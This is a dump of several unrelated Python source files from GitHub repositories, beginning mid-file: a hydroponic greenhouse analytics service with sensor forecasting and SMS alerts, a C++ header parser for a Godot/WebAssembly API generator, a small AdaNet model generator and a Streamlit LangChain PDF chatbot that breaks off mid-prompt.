value['min'], const.DOME_DAY_HOURS['min'], const.DOME_DAY_HOURS['max']), axis=1)\n count_day_min = len(\n dataframe_day_min[dataframe_day_min == True].index)\n self.write_db(\n tag='counts',\n tag_value='counts_min',\n key='COUNT_MIN_{}_{}'.format(\n key.upper(), const.TEMPERATURE_DOME_KEY),\n value=count_day_min,\n timestamp=utils.get_time_to_influx()\n )\n # Count max from day\n dataframe_day_max = self.dataframe.apply(lambda x: utils.get_count_dome_day_max(\n x, value['max'], const.DOME_DAY_HOURS['min'], const.DOME_DAY_HOURS['max']), axis=1)\n count_day_max = len(\n dataframe_day_max[dataframe_day_max == True].index)\n self.write_db(\n tag='counts',\n tag_value='counts_max',\n key='COUNT_MAX_{}_{}'.format(\n key.upper(), const.TEMPERATURE_DOME_KEY),\n value=count_day_max,\n timestamp=utils.get_time_to_influx()\n )\n else:\n # Count min from night\n dataframe_night_min = self.dataframe.apply(lambda x: utils.get_count_dome_night_min(\n x, value['min'], const.DOME_NIGHT_HOURS['min'], const.DOME_NIGHT_HOURS['max']), axis=1)\n count_night_min = len(\n dataframe_night_min[dataframe_night_min == True].index)\n self.write_db(\n tag='counts',\n tag_value='counts_min',\n key='COUNT_MIN_{}_{}'.format(\n key.upper(), const.TEMPERATURE_DOME_KEY),\n value=count_night_min,\n timestamp=utils.get_time_to_influx()\n )\n # Count max from night\n dataframe_night_max = self.dataframe.apply(lambda x: utils.get_count_dome_night_max(\n x, value['max'], const.DOME_NIGHT_HOURS['min'], const.DOME_NIGHT_HOURS['max']), axis=1)\n count_night_max = len(\n dataframe_night_max[dataframe_night_max == True].index)\n self.write_db(\n tag='counts',\n tag_value='counts_max',\n key='COUNT_MAX_{}_{}'.format(\n key.upper(), const.TEMPERATURE_DOME_KEY),\n value=count_night_max,\n timestamp=utils.get_time_to_influx()\n )\n\n def add_to_dataframe_prediction(self):\n timezone = pytz.timezone(\"America/Bogota\")\n last_timestamp = float(\n self.dataframe.iloc[-1][const.DATE_KEY])/1000000000\n last_day = datetime.fromtimestamp(last_timestamp, timezone).date()\n last_day_of_the_year = int((last_day).strftime('%j'))\n\n if len(self.dataframe_prediction) == 0:\n data_to_append = pd.DataFrame([[last_day, last_day_of_the_year, self.dataframe[const.TEMPERATURE_DOME_KEY].mean(\n )]], columns=self.dataframe_prediction.columns)\n self.dataframe_prediction = pd.concat(\n [self.dataframe_prediction, data_to_append], ignore_index=True)\n else:\n if last_day_of_the_year == self.dataframe_prediction.iloc[-1][const.DAY_OF_THE_YEAR_KEY]:\n self.dataframe_prediction = self.dataframe_prediction.drop(\n len(self.dataframe_prediction) - 1)\n data_to_append = pd.DataFrame([[last_day, last_day_of_the_year, self.dataframe[const.TEMPERATURE_DOME_KEY].mean(\n )]], columns=self.dataframe_prediction.columns)\n self.dataframe_prediction = pd.concat(\n [self.dataframe_prediction, data_to_append], ignore_index=True)\n else:\n data_to_append = pd.DataFrame([[last_day, last_day_of_the_year, self.dataframe[const.TEMPERATURE_DOME_KEY].mean(\n )]], columns=self.dataframe_prediction.columns)\n self.dataframe_prediction = pd.concat(\n [self.dataframe_prediction, data_to_append], ignore_index=True)\n\n print(\"Dataframe prediction \", self.dataframe_prediction, flush=True)\n\n def get_prediction_next_day(self, actual_time):\n if len(self.dataframe_prediction) > 0:\n X = self.dataframe_prediction[const.DAY_OF_THE_YEAR_KEY].to_numpy(\n ).reshape(-1, 1)\n Y = self.dataframe_prediction[const.MEAN_TEMPERATURE_KEY].to_numpy(\n )\n self.random_forest_regressor.fit(X, Y)\n timezone = pytz.timezone(const.TIME_ZONE)\n actual_time = float(actual_time)/1000000000\n next_day = datetime.fromtimestamp(actual_time, timezone).date() + timedelta(\n days=1)\n value_to_predict = np.array(\n int(next_day.strftime('%j'))).reshape(-1, 1)\n value_predicted = self.random_forest_regressor.predict(\n value_to_predict)\n # print(\"Predicted temperature for {} is {} \".format(\n # next_day, value_predicted[0]), flush=True)\n self.write_db(\n tag='predictions',\n tag_value='next_day',\n key='MEAN_{}'.format(const.TEMPERATURE_DOME_KEY),\n value=value_predicted[0],\n timestamp=time.time_ns()\n )\n else:\n print(\n \"No se puede realizar una prediccion en get_prediction_next_day()\", flush=True)\n\n def get_prediction_seconds(self, actual_time):\n if len(self.dataframe_prediction) > 0:\n timezone = pytz.timezone(const.TIME_ZONE)\n max_seconds = 86400\n forward_seconds = 10\n dataframe = self.dataframe.copy()\n X = dataframe[const.SECONDS_KEY].to_numpy().reshape(-1, 1)\n Y = dataframe[const.TEMPERATURE_DOME_KEY].to_numpy()\n regressor = AdaBoostRegressor(\n DecisionTreeRegressor(max_depth=5), n_estimators=10)\n regressor.fit(X, Y)\n actual_time = float(actual_time)/1000000000\n value_to_predict = actual_time + forward_seconds\n if value_to_predict > max_seconds:\n value_to_predict = np.array(value_to_predict - max_seconds)\n else:\n value_to_predict = np.array(value_to_predict)\n value_predicted = regressor.predict(\n value_to_predict.reshape(-1, 1))\n prediction_time = datetime.fromtimestamp(\n float(actual_time), timezone).strftime(\"%Y-%m-%dT%H:%M:%S\")\n # print(\"Predicted temperature for {} is {} \".format(\n # prediction_time, value_predicted[0]), flush=True)\n self.write_db(\n tag='predictions',\n tag_value='few_seconds',\n key='VALUE_OF_{}'.format(const.TEMPERATURE_DOME_KEY),\n value=value_predicted[0],\n timestamp=time.time_ns()\n )\n else:\n print(\n \"No se puede realizar una prediccion en get_prediction_seconds()\", flush=True)\n\n def check_counts(self):\n for key, value in self.counts.items():\n if value > 3:\n self.counts[key] = 0\n if int(self.alert):\n print('Sending messages', flush=True)\n alert_sms.send_alert_sms(const.ALERT_MESSAGES[key])\n print(self.counts, flush=True)\n\n def get_counts_alert(self, current_measurements):\n for key, value in const.VARS_COUNT.items():\n # print('---> key: {}, value: {}'.format(key, value), flush=True)\n if current_measurements[key] > value['max']:\n self.counts['COUNT_MAX_{}'.format(key)] += 1\n if current_measurements[key] <= value['min']:\n self.counts['COUNT_MIN_{}'.format(key)] += 1\n self.check_counts()\n\n def take_measurement(self, _message):\n measurements = {}\n splitted_message = _message.split(\" \")\n # Payload\n payload = splitted_message[1]\n #print(payload, flush=True)\n # Datetime in ns\n timestamp = splitted_message[2] if len(splitted_message) > 2 else time.time_ns()\n # print(timestamp, flush=True)\n measurements_string = payload.split(\",\")\n\n timezone = pytz.timezone(const.TIME_ZONE)\n timestamp_in_sec = float(timestamp)/1000000000\n incoming_datetime_str = datetime.fromtimestamp(\n float(timestamp_in_sec), timezone).strftime(\"%Y-%m-%dT%H:%M:%S\")\n # print(incoming_datetime_str, flush=True)\n incoming_datetime_str = incoming_datetime_str.split('T')[0]\n hour = datetime.fromtimestamp(\n float(timestamp_in_sec), timezone).strftime(\"%H\")\n minutes = datetime.fromtimestamp(\n float(timestamp_in_sec), timezone).strftime(\"%M\")\n seconds = datetime.fromtimestamp(\n float(timestamp_in_sec), timezone).strftime(\"%S\")\n time_second = (int(hour)*60 + int(minutes))*60 + int(seconds)\n\n if self.current_date is None:\n self.current_date = incoming_datetime_str\n else:\n if incoming_datetime_str > self.current_date:\n self.current_date = incoming_datetime_str\n self.dataframe = pd.DataFrame(columns=columns)\n\n # print('current_date {}'.format(self.current_date), flush=True)\n for measurement in measurements_string:\n measurement_key_value = measurement.split(\"=\")\n #print(measurement_key_value, flush=True)\n measurements[measurement_key_value[0]] = float(\n measurement_key_value[1])\n new_measurement = [\n float(timestamp),\n int(time_second),\n measurements[const.Temperatura_Tanque_de_reserva],\n measurements[const.Temperatura_Tanque_Principal],\n measurements[const.Temperatura_Domo],\n measurements[const.Temperatura_Plantas],\n measurements[const.Temperatura_medio_ambiente],\n measurements[const.Humedad_Planta_1],\n measurements[const.Humedad_Planta_2]\n ]\n new_measurement_dict = {\n const.DATE_KEY: float(timestamp),\n const.SECONDS_KEY: int(time_second),\n const.TEMPERATURE_TANK_KEY: measurements[const.Temperatura_Tanque_de_reserva],\n const.TEMPERATURE_MAIN_TANK_KEY: measurements[const.Temperatura_Tanque_Principal],\n const.TEMPERATURE_DOME_KEY: measurements[const.Temperatura_Domo],\n const.TEMPERATURE_PLANTS_KEY: measurements[const.Temperatura_Plantas],\n const.TEMPERATURE_ATM_KEY: measurements[const.Temperatura_medio_ambiente],\n const.HUMEDITY_1_KEY: measurements[const.Humedad_Planta_1],\n const.HUMEDITY_2_KEY: measurements[const.Humedad_Planta_2],\n }\n data_to_append = pd.DataFrame(\n [new_measurement], columns=self.dataframe.columns)\n self.dataframe = pd.concat(\n [self.dataframe, data_to_append], ignore_index=True)\n print(\"Normal Dataframe \", self.dataframe, flush=True)\n self.add_to_dataframe_prediction()\n self.get_counts_alert(new_measurement_dict)\n self.get_max_values()\n self.get_min_values()\n self.get_counts_dataframe()\n\n def get_prediction(self, _message):\n print('get_prediction - message {}'.format(_message), flush=True)\n\n def toggle_alerts(self, _message):\n print('toggle_alerts - value {}'.format(_message), flush=True)\n payload = _message.split(\" \")[1]\n value = payload.split('=')[1]\n self.alert = value\n\n\nif __name__ == '__main__':\n\n analytics = Analytics()\n\n def callback(ch, method, properties, body):\n global analytics\n message = body.decode(\"utf-8\")\n current_topic = method.routing_key\n if current_topic == 'data':\n analytics.take_measurement(message)\n elif current_topic == 'prediction':\n print('--------------->Prediction', flush=True)\n timestamp = message.split(\" \")[2]\n analytics.get_prediction_next_day(timestamp)\n analytics.get_prediction_seconds(timestamp)\n elif current_topic == 'alert':\n analytics.toggle_alerts(message)\n\n url = os.environ.get('AMQP_URL', 'amqp://guest:guest@rabbit:5672/%2f')\n params = pika.URLParameters(url)\n connection = pika.BlockingConnection(params)\n\n channel = connection.channel()\n channel.queue_declare(queue='messages')\n channel.queue_bind(exchange='amq.topic', queue='messages', routing_key='#')\n channel.basic_consume(\n queue='messages', on_message_callback=callback, auto_ack=True)\n channel.start_consuming()\n","repo_name":"gnaguerrer/server-hydroponic","sub_path":"analytics/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":17754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"65"}
+{"seq_id":"41754031032","text":"# WasGo API Generator v2\n# Previous implementations of api generators used ClassDB and GDNative's api.json which missed some crucial information\n# In this script we will use C header files for ultimate accuracy\nimport json\nfrom pathlib import Path\n\ndef find_files_recursively(dir, glob_pattern):\n return [\"{0}\".format(path.relative_to(dir)) for path in Path(dir).rglob(glob_pattern)]\n\ndef parse_method(method_line, class_name):\n if (\"(\" not in method_line):\n return {}\n\n method = {}\n pre_paren = method_line[0:method_line.find(\"(\")]\n post_paren = method_line[method_line.find(\"(\") :]\n pre_words = [word.strip() for word in pre_paren.split()]\n method[\"virtual\"] = \"virtual\" in pre_words\n method[\"static\"] = \"static\" in pre_words\n pre_word_names = [word for word in pre_words if word not in [\"virtual\", \"static\", \"inline\"]]#TODO add other qualifiers\n if (not pre_words):\n return {}\n method[\"name\"] = pre_word_names[-1]\n if (pre_word_names.size() > 1):\n method[\"return_type\"] = pre_words[-2]\n method[\"constructor\"] = False\n method[\"destructor\"] = False\n elif class_name in method[\"name\"]:\n method[\"return_type\"] = \"\"\n if method[\"name\"][0] == \"~\":\n method[\"constructor\"] = False\n method[\"destructor\"] = True\n else:\n method[\"constructor\"] = True\n method[\"destructor\"] = False\n else:#might have been a preprocessor macro or something\n return {}\n\n if (\")\" not in post_paren):\n return {}\n argument_string = post_paren[0: post_paren.rfind(\")\")]\n if (argument_string.size() < 2):\n method[\"arguments\"] = []\n \n args = []\n arg_type = \"\"\n arg_name = \"\"\n arg_value = \"\"\n default_value = False\n arg_count = 0\n for character in argument_string:\n if character == \",\":\n if (arg_name):\n arg = {}\n arg[\"name\"] = arg_name.strip()\n arg[\"type\"] = arg_type.strip()\n arg[\"default_value\"] = arg_value.strip()\n arg[\"has_default_value\"] = default_value\n args[arg_count] = arg\n arg_count += 1\n arg_name = \"\"\n arg_type = \"\"\n arg_value = \"\"\n default_value = False\n elif character == \"=\":\n default_value = True\n elif default_value:\n arg_value += character\n elif character == \" \" or arg_name:\n arg_name += character\n else:\n arg_type += character\n return method\n\ndef parse_struct(struct_lines):\n return parse_class(struct_lines, True)\n\ndef parse_class(class_lines, public_default = False):\n if not class_lines:\n return {}\n class_dict = {}\n class_dict[\"classes\"] = []\n class_dict[\"structs\"] = []\n class_dict[\"enums\"] = []\n class_dict[\"constants\"] = []\n class_dict[\"methods\"] = []\n public = public_default #change to true for structs\n \n curly_brace_count = 0\n class_lines = []\n struct_lines = []\n enum_lines = []\n for index, line in enumerate(class_lines):\n if (index == 0):\n print(line)\n #extract class names and parent classes from the first line\n class_name = line[5:] #remove the class keyword\n parent_string = \"\"\n if \"{\" in class_name:\n class_name = class_name[0:class_name.find(\"{\")]\n if \":\" in class_name:\n char_index = class_name.find(\":\")\n parent_string = class_name[char_index:]\n class_name = class_name[0:char_index]\n #remove whitespaces\n class_dict[\"name\"] = class_name.strip()\n #TODO check for multiple inheritance\n parent_words = [s.strip() for s in parent_string.split() if s]\n if parent_words.size() > 1:\n class_dict[\"inheritance\"] = parent_words[0]\n class_dict[\"base_class\"] = parent_words[1]\n else:\n class_dict[\"inheritance\"] = \"\"\n class_dict[\"base_class\"] = \"\"\n elif line.startswith(\"public:\"): #we assume that's gonna be the whole line because the input is prettyfied\n public = True\n elif public:\n if \"{\" in line:\n curly_brace_count += 1\n\n if class_lines:\n class_lines.append(line)\n elif struct_lines:\n struct_lines.append(line)\n elif enum_lines:\n enum_lines.append(line)\n else:\n if line.startswith(\"class\"):\n class_lines.append(line)\n elif line.startswith(\"struct\"):\n struct_lines.append(line)\n elif line.startswith(\"enum\"):\n enum_lines.append(line)\n elif \"(\" in line:\n class_dict[\"methods\"].append(parse_method(line))\n\n if \"}\" in line:\n curly_brace_count -= 1\n if curly_brace_count == 0:\n if class_lines:\n class_dict[\"classes\"].append(parse_class(class_lines))\n class_lines.clear()\n if struct_lines:\n class_dict[\"structs\"].append(parse_struct(struct_lines))\n struct_lines.clear()\n if enum_lines:\n class_dict[\"enums\"].append(enum_lines)#just keep the whole thing without changing it\n enum_lines.clear()\n\n if curly_brace_count == 0:\n if line.startswith(\"protected:\") or line.startswith(\"private:\"):\n public = False\n #TODO figure out if singleton\n #TODO figure out if instanciable\n return class_dict\n\n \n \n\n\ndef parse_header_file(file_path):\n #assumes that header files are prettified and have newlines at the regular places\n #if that's not the case, just run a prettifyier on the files and try again\n #note the opening brace must be on the same line for class, struct, enum, and method defiitions\n input_file = open(file_path, 'r')\n lines = input_file.readlines()\n\n classes = []\n structs = []\n enums = []\n\n class_lines = []\n struct_lines = []\n enum_lines = []\n\n curly_brace_count = 0\n for raw_line in lines:\n line = raw_line.strip()\n if \"{\" in line:\n curly_brace_count += 1\n\n #continue the current definition\n if class_lines:\n class_lines.append(line)\n elif struct_lines:\n struct_lines.append(line)\n elif enum_lines:\n enum_lines.append(line)\n elif curly_brace_count == 1: # else see if we should start a new definition\n if line.startswith(\"class\"):\n print(line)\n class_lines.append(line)\n elif line.startswith(\"struct\"):\n struct_lines.append(line)\n elif line.startswith(\"enum\") and \"{\" in line:\n enum_lines.append(line)\n\n if \"}\" in line:\n curly_brace_count -= 1\n\n if (curly_brace_count == 0):\n if class_lines:\n classes.append(parse_class(class_lines))\n class_lines.clear()\n elif struct_lines:\n structs.append(parse_struct(struct_lines))\n struct_lines.clear()\n elif enum_lines:\n enums.append(enum_lines)\n enum_lines.clear()\n input_file.close()\n header_file = {}\n empty_class = {\n \"classes\": [],\n \"structs\": [],\n \"enums\": [],\n \"constants\": [],\n \"methods\": []\n }\n # header_file[\"classes\"] = [c for c in classes if c != empty_class]\n # header_file[\"structs\"] = [s for s in structs if s != empty_class]\n header_file[\"classes\"] = classes\n header_file[\"structs\"] = structs\n header_file[\"enums\"] = enums\n return header_file\n\n\nif __name__ == \"__main__\":\n input_folder = \"./ToBeGenerated\"\n output_folder = \"./Generated\"\n\n #Step 1 make a dictionary that shows the relationship of files to class to methods\n #Step 2 create the empty skeleton class that will live on the Wasm side. Our current target is C++, so these will be C++ style header and cpp files\n #Step 3 create the wasm side wrapper functions, these are all extern \"C\" functions which means they'll be exported in the global namespace with a _wasgo_ header. We'll keep these in a separate header file to not polute the global namespace too much\n #Step 4 create the Godot side wrapper functions, these should have the same name and signature as their wasm counterparts, but they don't have to be extern \"C\". Unlike the wasm wrappers, these will have bodies that call Godot functions on behalf of wasm\n #Step 5 create the function table that links the Godot wrappers to the wasm wrappers\n\n #******* STEP 1 ********\n input_files = find_files_recursively(input_folder, \"*.h\")\n\n file_classes_dict = {}\n for input_file in input_files:\n file_classes_dict[input_file] = parse_header_file(input_folder + \"/\" + input_file)\n\n with open('test_run.json', 'w') as file:\n file.write(json.dumps(file_classes_dict)) # use `json.loads` to do the reverse\n","repo_name":"MMMaellon/WasGo","sub_path":"api/api_generator_v2.py","file_name":"api_generator_v2.py","file_ext":"py","file_size_in_byte":9312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"65"}
+{"seq_id":"22781579394","text":"from src import api_app \n\nDrink = api_app.Drink\ndb = api_app.db\n\n# cola = Drink(title='cola', recipe='{\"color\":\"black\", \"name\":\"cola\", \"parts\":\"60\"}')\n# cola.insert()\n\nf = Drink.query.get(1)\nprint(f.short())\nprint(f.long())\n\n# f.delete()","repo_name":"MohamedDiaaEldin/Coffee-Shop","sub_path":"backend/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"65"}
+{"seq_id":"70002734608","text":"import tensorflow as tf\nfrom adanet.examples import simple_dnn\n\nfrom pipeline import SEED\n\n\nclass DNNGenerator:\n \"\"\"DNN subnetwork Generator using `adanet.examples.simple_dnn.Generator`\"\"\"\n\n FEATURE_KEY = \"image\"\n\n def __init__(self, learning_rate: int):\n self.learning_rate = learning_rate\n\n def build_subnetwork_generator(self):\n feature_columns = [\n tf.feature_column.numeric_column(self.FEATURE_KEY, shape=[28, 28, 1])\n ]\n\n return simple_dnn.Generator(\n feature_columns=feature_columns,\n optimizer=tf.train.AdamOptimizer(self.learning_rate),\n seed=SEED,\n )\n","repo_name":"novdov/ml-pipeline","sub_path":"pipeline/model_generator/dnn.py","file_name":"dnn.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"65"}
+{"seq_id":"72832724686","text":"import streamlit as st\r\nfrom streamlit_chat import message\r\nfrom langchain.chat_models import ChatOpenAI\r\nfrom langchain.chains import ConversationalRetrievalChain\r\nfrom langchain.prompts.prompt import PromptTemplate\r\nfrom langchain.callbacks import get_openai_callback\r\nfrom langchain import LLMChain\r\nfrom langchain.chains.llm import LLMChain\r\nfrom langchain.chains.conversational_retrieval.prompts import CONDENSE_QUESTION_PROMPT\r\nfrom langchain.chains.question_answering import load_qa_chain\r\nimport os\r\nimport pickle\r\nimport tempfile\r\nimport pandas as pd\r\nimport pdfplumber\r\nimport datetime\r\nfrom langchain.vectorstores import FAISS\r\nfrom langchain.embeddings.openai import OpenAIEmbeddings\r\nfrom langchain.document_loaders import PyPDFLoader\r\nfrom langchain.text_splitter import RecursiveCharacterTextSplitter\r\nfrom langchain.callbacks import get_openai_callback\r\nfrom dotenv import load_dotenv\r\nfrom io import StringIO\r\nfrom tqdm.auto import tqdm\r\nfrom typing import List, Union\r\nfrom langchain.chat_models import ChatOpenAI\r\nfrom langchain import OpenAI, ConversationChain, LLMChain, PromptTemplate\r\nfrom langchain.memory import ConversationBufferWindowMemory\r\n\r\n\r\nclass Utilities:\r\n\r\n @staticmethod\r\n def load_api_key():\r\n \"\"\"\r\n Loads the OpenAI API key from the .env file or \r\n from the user's input and returns it\r\n \"\"\"\r\n if os.path.exists(\".env\") and os.environ.get(\"OPENAI_API_KEY\") is not None:\r\n user_api_key = os.environ[\"OPENAI_API_KEY\"]\r\n st.sidebar.success(\"API key loaded from .env\", icon=\"Ъџђ\")\r\n else:\r\n user_api_key = st.sidebar.text_input(\r\n label=\"#### Enter OpenAI API key ЪЉЄ\", placeholder=\"Paste your openAI API key, sk-\", type=\"password\"\r\n )\r\n if user_api_key:\r\n st.sidebar.success(\"API keys loaded\", icon=\"Ъџђ\")\r\n\r\n return user_api_key\r\n \r\n @staticmethod\r\n def handle_upload():\r\n \"\"\"\r\n Handles the file upload and displays the uploaded file\r\n \"\"\"\r\n uploaded_file = st.sidebar.file_uploader(\"upload\", type=[\"pdf\"], label_visibility=\"collapsed\", accept_multiple_files = True)\r\n if uploaded_file is not None:\r\n\r\n def show_pdf_file(uploaded_file):\r\n file_container = st.expander(\"Your PDF file :\")\r\n for i in range(len(uploaded_file)):\r\n with pdfplumber.open(uploaded_file[i]) as pdf:\r\n pdf_text = \"\"\r\n for page in pdf.pages:\r\n pdf_text += page.extract_text() + \"\\n\\n\"\r\n file_container.write(pdf_text)\r\n \r\n file_extension = \".pdf\" \r\n\r\n if file_extension== \".pdf\" : \r\n show_pdf_file(uploaded_file)\r\n\r\n else:\r\n st.sidebar.info(\r\n \"ЪЉє Upload your PDF file to get started..!\"\r\n )\r\n st.session_state[\"reset_chat\"] = True\r\n\r\n #print(uploaded_file)\r\n return uploaded_file\r\n\r\n @staticmethod\r\n def setup_chatbot(uploaded_file, model, temperature,):\r\n \"\"\"\r\n Sets up the chatbot with the uploaded file, model, and temperature\r\n \"\"\"\r\n embeds = Embedder()\r\n # Use RecursiveCharacterTextSplitter as the default and only text splitter\r\n splitter_type = \"RecursiveCharacterTextSplitter\"\r\n with st.spinner(\"Processing...\"):\r\n #uploaded_file.seek(0)\r\n file = uploaded_file\r\n \r\n # Get the document embeddings for the uploaded file\r\n vectors = embeds.getDocEmbeds(file, \"Docs\")\r\n\r\n # Create a Chatbot instance with the specified model and temperature\r\n chatbot = Chatbot(model, temperature,vectors)\r\n st.session_state[\"ready\"] = True\r\n\r\n return chatbot\r\n\r\n def count_tokens_agent(agent, query):\r\n \"\"\"\r\n Count the tokens used by the CSV Agent\r\n \"\"\"\r\n with get_openai_callback() as cb:\r\n result = agent(query)\r\n st.write(f'Spent a total of {cb.total_tokens} tokens')\r\n\r\n return result\r\n\r\nclass Layout:\r\n \r\n def show_header(self):\r\n \"\"\"\r\n Displays the header of the app\r\n \"\"\"\r\n st.markdown(\r\n \"\"\"\r\n Pi with Twisted \n \n \n
Ask Anything: Your Personal AI Assistant
\r\n \"\"\",\r\n unsafe_allow_html=True,\r\n )\r\n\r\n def show_api_key_missing(self):\r\n \"\"\"\r\n Displays a message if the user has not entered an API key\r\n \"\"\"\r\n st.markdown(\r\n \"\"\"\r\n\r\n
\r\n \"\"\",\r\n unsafe_allow_html=True,\r\n )\r\n\r\n def prompt_form(self):\r\n \"\"\"\r\n Displays the prompt form\r\n \"\"\"\r\n with st.form(key=\"my_form\", clear_on_submit=True):\r\n user_input = st.text_area(\r\n \"Query:\",\r\n placeholder=\"Ask me anything about the document...\",\r\n key=\"input\",\r\n label_visibility=\"collapsed\",\r\n )\r\n submit_button = st.form_submit_button(label=\"Send\")\r\n \r\n is_ready = submit_button and user_input\r\n return is_ready, user_input\r\n\r\n\r\nclass Sidebar:\r\n\r\n MODEL_OPTIONS = [\"gpt-3.5-turbo\", \"gpt-4\"]\r\n TEMPERATURE_MIN_VALUE = 0.0\r\n TEMPERATURE_MAX_VALUE = 1.0\r\n TEMPERATURE_DEFAULT_VALUE = 0.0\r\n TEMPERATURE_STEP = 0.01\r\n\r\n @staticmethod\r\n def about():\r\n about = st.sidebar.expander(\"ЪДа About\")\r\n sections = [\r\n \"#### Welcome to our AI Assistant, a cutting-edge solution to help you find the answers you need quickly and easily. Our AI Assistant is designed to provide you with the most relevant information from PDF sources.\",\r\n \"#### With our AI Assistant, you can ask questions on any topic, and our intelligent algorithms will search through our vast database to provide you with the most accurate and up-to-date information available. Whether you need help with a school assignment, are researching a topic for work, or simply want to learn something new, our AI Assistant is the perfect tool for you.\",\r\n ]\r\n for section in sections:\r\n about.write(section)\r\n\r\n @staticmethod\r\n def reset_chat_button():\r\n if st.button(\"Reset chat\"):\r\n st.session_state[\"reset_chat\"] = True\r\n st.session_state.setdefault(\"reset_chat\", False)\r\n\r\n def model_selector(self):\r\n model = st.selectbox(label=\"Model\", options=self.MODEL_OPTIONS)\r\n st.session_state[\"model\"] = model\r\n\r\n def temperature_slider(self):\r\n temperature = st.slider(\r\n label=\"Temperature\",\r\n min_value=self.TEMPERATURE_MIN_VALUE,\r\n max_value=self.TEMPERATURE_MAX_VALUE,\r\n value=self.TEMPERATURE_DEFAULT_VALUE,\r\n step=self.TEMPERATURE_STEP,\r\n )\r\n st.session_state[\"temperature\"] = temperature\r\n \r\n def csv_agent_button(self, uploaded_file):\r\n st.session_state.setdefault(\"show_csv_agent\", False)\r\n\r\n def show_options(self, uploaded_file):\r\n with st.sidebar.expander(\"ЪЏа№ИЈ Tools\", expanded=False):\r\n\r\n self.reset_chat_button()\r\n self.csv_agent_button(uploaded_file)\r\n # self.model_selector()\r\n # self.temperature_slider()\r\n st.session_state.setdefault(\"model\", model_name)\r\n st.session_state.setdefault(\"temperature\", temperature)\r\n\r\noriginal_filename=\"Docs\"\r\nclass Embedder:\r\n\r\n def __init__(self):\r\n self.PATH = \"embeddings\"\r\n self.createEmbeddingsDir()\r\n\r\n def createEmbeddingsDir(self):\r\n \"\"\"\r\n Creates a directory to store the embeddings vectors\r\n \"\"\"\r\n if not os.path.exists(self.PATH):\r\n os.mkdir(self.PATH)\r\n\r\n def storeDocEmbeds(self, file, original_filename=\"Docs\"):\r\n \"\"\"\r\n Stores document embeddings using Langchain and FAISS\r\n \"\"\"\r\n with tempfile.NamedTemporaryFile(mode=\"wb\", delete=False) as tmp_file:\r\n tmp_file.write(file)\r\n tmp_file_path = tmp_file.name\r\n\r\n \r\n text_splitter = RecursiveCharacterTextSplitter(\r\n # Set a really small chunk size, just to show.\r\n chunk_size = 2000,\r\n chunk_overlap = 50,\r\n length_function = len,\r\n )\r\n file_extension = \".pdf\" #get_file_extension(original_filename)\r\n\r\n\r\n if file_extension == \".pdf\":\r\n loader = PyPDFLoader(file_path=tmp_file_path) \r\n data = loader.load_and_split(text_splitter)\r\n \r\n \r\n embeddings = OpenAIEmbeddings()\r\n\r\n vectors = FAISS.from_documents(data, embeddings)\r\n os.remove(tmp_file_path)\r\n\r\n # Save the vectors to a pickle file\r\n with open(f\"{self.PATH}/{original_filename}.pkl\", \"wb\") as f:\r\n pickle.dump(vectors, f)\r\n\r\n\r\n def getDocEmbeds(self, file, original_filename):\r\n \"\"\"\r\n Retrieves document embeddings\r\n \"\"\"\r\n # Use RecursiveCharacterTextSplitter as the default and only text splitter\r\n splitter_type = \"RecursiveCharacterTextSplitter\"\r\n # Load and process the uploaded PDF or TXT files.\r\n loaded_text = load_docs(file)\r\n #st.write(\"Documents uploaded and processed.\")\r\n\r\n # Split the document into chunks\r\n splits = split_texts(loaded_text, chunk_size=500,\r\n overlap=0, split_method=splitter_type)\r\n embeddings = OpenAIEmbeddings()\r\n vectors = create_retriever(embeddings, splits, retriever_type=\"SIMILARITY SEARCH\")\r\n return vectors\r\n\r\nclass ChatHistory:\r\n \r\n def __init__(self):\r\n self.history = st.session_state.get(\"history\", [])\r\n st.session_state[\"history\"] = self.history\r\n\r\n def default_greeting(self):\r\n return \"Hey! ЪЉІ\"\r\n\r\n def default_prompt(self, topic):\r\n return f\"Hello ! Ask me anything about {topic} ЪцЌ\"\r\n\r\n def initialize_user_history(self):\r\n st.session_state[\"user\"] = [self.default_greeting()]\r\n\r\n def initialize_assistant_history(self, uploaded_file):\r\n st.session_state[\"assistant\"] = [self.default_prompt(original_filename)]\r\n\r\n def initialize(self, uploaded_file):\r\n if \"assistant\" not in st.session_state:\r\n self.initialize_assistant_history(original_filename)\r\n if \"user\" not in st.session_state:\r\n self.initialize_user_history()\r\n\r\n def reset(self, uploaded_file):\r\n st.session_state[\"history\"] = []\r\n \r\n self.initialize_user_history()\r\n self.initialize_assistant_history(original_filename)\r\n st.session_state[\"reset_chat\"] = False\r\n\r\n def append(self, mode, message):\r\n st.session_state[mode].append(message)\r\n\r\n def generate_messages(self, container):\r\n con = []\r\n if st.session_state[\"assistant\"]:\r\n with container:\r\n for i in range(len(st.session_state[\"assistant\"])):\r\n message(\r\n st.session_state[\"user\"][i],\r\n is_user=True,\r\n key=f\"{i}_user\",\r\n avatar_style=\"big-smile\",\r\n )\r\n message(st.session_state[\"assistant\"][i], key=str(i), avatar_style=\"thumbs\")\r\n con.append(\"Human: \" + str(st.session_state[\"user\"][i]))\r\n con.append(\"AI: \" + str(st.session_state[\"assistant\"][i]))\r\n con.append(\"\\n\")\r\n return con\r\n\r\n def load(self):\r\n if os.path.exists(self.history_file):\r\n with open(self.history_file, \"r\") as f:\r\n self.history = f.read().splitlines()\r\n\r\n def save(self):\r\n with open(self.history_file, \"w\") as f:\r\n f.write(\"\\n\".join(self.history))\r\n\r\n\r\nfrom langchain.chains.question_answering import load_qa_chain\r\nfrom langchain.memory import ConversationBufferMemory\r\nclass Chatbot:\r\n\r\n def __init__(self, model_name, temperature, vectors):\r\n self.model_name = model_name\r\n self.temperature = temperature\r\n self.vectors = vectors\r\n\r\n\r\n _template = \"\"\"Given the following conversation and a follow-up question, rephrase the follow-up question to be a standalone question.\r\n Chat History:\r\n {chat_history}\r\n Follow-up entry: {question}\r\n Standalone question:\"\"\"\r\n CONDENSE_QUESTION_PROMPT = PromptTemplate.from_template(_template)\r\n\r\n qa_template = \"\"\"You are a friendly conversational assistant, designed to answer questions and chat with the user from a contextual file.\r\n You receive data from a user's files and a question, you must help the user find the information they need. \r\n Your answers must be user-friendly and respond to the 